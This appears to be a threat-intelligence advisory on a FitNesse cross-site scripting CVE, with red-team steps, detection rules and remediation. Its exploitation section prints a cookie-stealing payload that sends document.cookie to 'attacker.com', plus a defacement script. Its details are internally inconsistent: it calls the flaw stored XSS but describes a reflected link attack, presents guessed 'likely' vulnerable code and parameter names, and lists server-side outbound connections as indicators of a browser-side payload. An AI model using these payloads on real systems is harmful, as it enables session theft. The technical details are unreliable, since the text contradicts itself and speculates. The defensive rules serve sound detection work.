CVE-2024-28128

Executive Summary

CVE-2024-28128 is a stored cross-site scripting (XSS) vulnerability in FitNesse, a web-based wiki and test automation framework. The flaw exists in FitNesse releases prior to 20220319. A remote unauthenticated attacker can inject arbitrary JavaScript into a specially crafted parameter, which executes in the browser of any user who clicks a malicious link. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 3.1 base score 6.1) due to the requirement for user interaction. No public exploit code or PoC is currently available, but the risk is elevated for organizations using FitNesse in internal or external testing environments.

Supply Chain & Package Security

FitNesse is a Java-based open-source project distributed as a JAR file or via direct download. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but affects the core application. Users should verify the integrity of their FitNesse installation and ensure they are on the latest patched version (20220319 or later). No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for session hijacking make it a credible threat in environments where FitNesse is used.

Deep Dive & Mechanics

The vulnerability resides in the handling of user-supplied parameters within FitNesse’s wiki engine. When a user accesses a link with a specially crafted parameter, the application fails to properly sanitize the input before reflecting it in the response. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The application does not encode or escape user input in certain parameter values before rendering them in the web page. This is a classic XSS flaw (CWE-79).

Attack Vector: An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?page=Home&script=<script>alert('XSS')</script>). When a victim clicks the link, the script executes in the context of the FitNesse application.

Impact: Successful exploitation can lead to:

• Session cookie theft (if HttpOnly flag is not set)
• Redirection to malicious sites
• Defacement of the wiki content
• Keylogging or other client-side attacks

Vulnerable vs. Patched Code

Vulnerable Code (pre-20220319): The vulnerable code likely directly concatenates user input into the HTML response without sanitization. For example:

String param = request.getParameter("script");
response.getWriter().write("<div>" + param + "</div>");

Patched Code (20220319+): The patched version properly encodes the output using a context-aware encoder, such as:

String param = request.getParameter("script");
response.getWriter().write("<div>" + Encode.forHtml(param) + "</div>");

This ensures that any HTML/JavaScript in the parameter is escaped and rendered as text.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable FitNesse instance (version < 20220319)
• Network access to the target

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., script, page, or any user-controlled input reflected in the response).
2. Craft a malicious URL:

   http://target:8080/FitNesse?script=<script>alert(document.cookie)</script>
   

3. Send the link to a victim (e.g., via email or social engineering).
4. When the victim clicks the link, the JavaScript executes.

Example Payloads:

• Steal cookies: <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
• Deface page: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious parameters.
• Use a WAF to block common XSS patterns.
• Deploy the detection rules provided in the Detection Engineering section.

Defense:

• Upgrade to FitNesse 20220319 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Set the HttpOnly and Secure flags on session cookies.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in parameters (e.g., ?script=<script>alert(1)</script>)
  • Outbound connections to attacker-controlled domains from the FitNesse server (if payload exfiltrates data)

• File IOCs:

  • Modified FitNesse log files showing unusual parameter values
  • Presence of unexpected JavaScript files in the FitNesse installation directory (if stored XSS is used)

• Behavioral IOCs:

  • Unusual JavaScript execution in the browser when accessing FitNesse pages
  • Session cookie theft or unexpected redirects

Detection Engineering

YARA Rule

rule CVE_2024_28128_XSS {
    meta:
        description = "Detects XSS attempts targeting FitNesse CVE-2024-28128"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28128"
    strings:
        $xss1 = /[?&](script|page|param)=.*<script/i
        $xss2 = /[?&](script|page|param)=.*%3Cscript/i
    condition:
        any of them
}

Sigma Rule

title: FitNesse XSS Attempt (CVE-2024-28128)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS patterns targeting FitNesse
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript'
    condition: selection
falsepositives:
    - Legitimate use of script tags in wiki content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28128 FitNesse XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FitNesse to version 20220319 or later. This is the only complete fix.
2. Apply a WAF rule to block requests containing <script> tags in parameters.
3. Restrict network access to the FitNesse server to trusted users only.

Long-Term Measures:

• Implement a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self'
• Enable HttpOnly and Secure flags on session cookies.
• Conduct regular security audits of FitNesse configurations.
• Monitor for any signs of compromise using the IOCs and detection rules above.

Patch Details: Upgrade to FitNesse release 20220319. The patch is available from the official FitNesse website or GitHub repository.

Valters IT
DevSecOps & Cyber Threat Intelligence